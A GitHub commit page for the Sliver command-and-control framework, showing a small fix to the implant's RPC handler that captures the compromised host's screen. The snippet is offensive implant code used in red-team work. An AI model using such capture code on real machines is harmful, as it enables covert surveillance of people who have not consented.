Skip to content

Commit

Permalink
Merge pull request #613 from BishopFox/fix/screenshot
Browse files Browse the repository at this point in the history
Fix for screenshot command
  • Loading branch information
rkervella authored Feb 23, 2022
2 parents ee7d36d + 2b286ae commit 0cef674
Showing 1 changed file with 4 additions and 4 deletions.
8 changes: 4 additions & 4 deletions implant/sliver/handlers/rpc-handlers.go
Original file line number Diff line number Diff line change
Expand Up @@ -174,7 +174,7 @@ func ifconfig() *sliverpb.Ifconfig {
}

func screenshotHandler(data []byte, resp RPCResponse) {
sc := &sliverpb.Screenshot{}
sc := &sliverpb.ScreenshotReq{}
err := proto.Unmarshal(data, sc)
if err != nil {
// {{if .Config.Debug}}
Expand All @@ -185,9 +185,9 @@ func screenshotHandler(data []byte, resp RPCResponse) {
// {{if .Config.Debug}}
log.Printf("Screenshot Request")
// {{end}}

sc.Data = screen.Screenshot()
data, err = proto.Marshal(sc)
scRes := &sliverpb.Screenshot{}
scRes.Data = screen.Screenshot()
data, err = proto.Marshal(scRes)

resp(data, err)
}
Expand Down

0 comments on commit 0cef674

Please sign in to comment.